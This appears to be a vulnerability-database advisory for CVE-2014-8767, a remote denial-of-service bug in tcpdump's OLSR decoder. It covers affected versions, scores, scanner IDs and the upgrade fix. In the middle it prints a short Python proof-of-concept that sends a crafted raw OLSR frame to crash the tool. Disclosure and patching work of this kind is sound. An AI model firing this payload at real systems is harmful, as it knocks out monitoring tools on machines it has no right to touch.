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4.8	$0-$5k	0.00

A vulnerability was found in tcpdump (Packet Analyzer Software). It has been rated as problematic. This issue affects the function olsr_print of the component OLSR Decoder. The manipulation with an unknown input leads to a numeric error vulnerability. Using CWE to declare the problem leads to CWE-189. Impacted is availability. The summary by CVE is:

Integer underflow in the olsr_print function in tcpdump 3.9.6 through 4.6.2, when in verbose mode, allows remote attackers to cause a denial of service (crash) via a crafted length value in an OLSR frame.

The weakness was shared 11/17/2014 by Steffen Bauch as confirmed posting (Bugtraq). It is possible to read the advisory at archives.neohapsis.com. The identification of this vulnerability is CVE-2014-8767 since 11/13/2014. The exploitation is known to be easy. The attack may be initiated remotely. No form of authentication is needed for a successful exploitation. Technical details as well as a public exploit are known.

A public exploit has been developed by Steffen Bauch in Python and been published immediately after the advisory. The exploit is available at archives.neohapsis.com. It is declared as proof-of-concept. The vulnerability scanner Nessus provides a plugin with the ID 79697 (Debian DSA-3086-1 : tcpdump - security update), which helps to determine the existence of the flaw in a target environment. It is assigned to the family Debian Local Security Checks. The commercial vulnerability scanner Qualys is able to test this issue with plugin 170023 (OpenSUSE Security Update for tcpdump, libpcap (openSUSE-SU-2017:1199-1)). The code used by the exploit is:

#!/usr/bin/env python 
from socket import socket, AF_PACKET, SOCK_RAW 
s = socket(AF_PACKET, SOCK_RAW) 
s.bind(("lo", 0)) 
olsr_frame = 
"\x00\x1b\xc6\x51\x35\x97\x00\x24\x8c\x7a\xff\x6f\x08\x00\x45\x15\x00\x3d\xf3\x7f\x40\x00\x4d\x11\x30\xc6\x0a\x01\x01\x68\x0a\x02\x02\x02\x02\xba\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x20\x00\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x20\x01\x00\x00\x00"
s.send(olsr_frame)

Upgrading to version 4.7.0 eliminates this vulnerability. Applying a patch is able to eliminate this problem. The best possible mitigation is suggested to be patching the affected component. A possible mitigation has been published even before and not after the disclosure of the vulnerability.

The vulnerability is also documented in the databases at X-Force (98765) and Tenable (79697). The entries 68218 and 68220 are related to this item.

Productinfo

Type

• Packet Analyzer Software

Name

• tcpdump

Version

• 3.9.6
• 3.9.7
• 3.9.8
• 4.0.0
• 4.1.0
• 4.1.1
• 4.1.2
• 4.2.1
• 4.3.0
• 4.3.1
• 4.4.0
• 4.5.0
• 4.5.1
• 4.5.2
• 4.6.0
• 4.6.1
• 4.6.2

License

• open-source

CPE 2.3info

• 🔍
• 🔍
• 🔍

CPE 2.2info

• 🔍
• 🔍
• 🔍

CVSSv4info

VulDB CVSS-B Score: 🔍
VulDB CVSS-BT Score: 🔍
VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv3info

VulDB Meta Base Score: 5.3
VulDB Meta Temp Score: 4.8

VulDB Base Score: 5.3
VulDB Temp Score: 4.8
VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv2info

AV	AC	Au	C	I	A
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳

Vector	Complexity	Authentication	Confidentiality	Integrity	Availability
unlock	unlock	unlock	unlock	unlock	unlock
unlock	unlock	unlock	unlock	unlock	unlock
unlock	unlock	unlock	unlock	unlock	unlock

VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍

NVD Base Score: 🔍

Exploitinginfo

Class: Numeric error
CWE: CWE-189
CAPEC: 🔍
ATT&CK: 🔍

Local: No
Remote: Yes

Availability: 🔍
Access: Public
Status: Proof-of-Concept
Author: Steffen Bauch
Programming Language: 🔍
Download: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Price Prediction: 🔍
Current Price Estimation: 🔍

0-Day	unlock	unlock	unlock	unlock
Today	unlock	unlock	unlock	unlock

Nessus ID: 79697
Nessus Name: Debian DSA-3086-1 : tcpdump - security update
Nessus File: 🔍
Nessus Risk: 🔍
Nessus Family: 🔍
Nessus Port: 🔍

OpenVAS ID: 703086
OpenVAS Name: Debian Security Advisory DSA 3086-1 (tcpdump - security update)
OpenVAS File: 🔍
OpenVAS Family: 🔍

Qualys ID: 🔍
Qualys Name: 🔍

Threat Intelligenceinfo

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasuresinfo

Recommended: Patch
Status: 🔍

0-Day Time: 🔍
Exploit Delay Time: 🔍

Upgrade: tcpdump 4.7.0

Timelineinfo

11/12/2014 🔍
11/13/2014 +1 days 🔍
11/17/2014 +4 days 🔍
11/17/2014 +0 days 🔍
11/18/2014 +1 days 🔍
11/18/2014 +0 days 🔍
11/18/2014 +0 days 🔍
11/19/2014 +1 days 🔍
11/20/2014 +1 days 🔍
12/04/2014 +14 days 🔍
08/18/2015 +257 days 🔍
02/24/2022 +2382 days 🔍

Sourcesinfo

Product: tcpdump.org

Advisory: USN-2433-1
Researcher: Steffen Bauch
Status: Confirmed
Confirmation: 🔍

CVE: CVE-2014-8767 (🔍)
OVAL: 🔍

X-Force: 98765 - tcpdump olsr_print() denial of service, Medium Risk
SecurityTracker: 1031235 - Tcpdump Multiple Flaws Let Remote Users Deny Service
Vulnerability Center: 52169 - RedHat tcpdump 3.9.6 Through 4.6.2 Remote Denial-of Service via a Crafted Length in an OLSR Frame, Medium
SecurityFocus: 71150 - tcpdump 'olsr_print()' Function Denial of Service Vulnerability

scip Labs: https://www.scip.ch/en/?labs.20161013
See also: 🔍

Entryinfo

Created: 11/19/2014 10:35
Updated: 02/24/2022 23:23
Changes: 11/19/2014 10:35 (86), 10/24/2017 09:39 (7), 02/24/2022 23:08 (3), 02/24/2022 23:23 (1)
Complete: 🔍
Cache ID: 3:2DD:103

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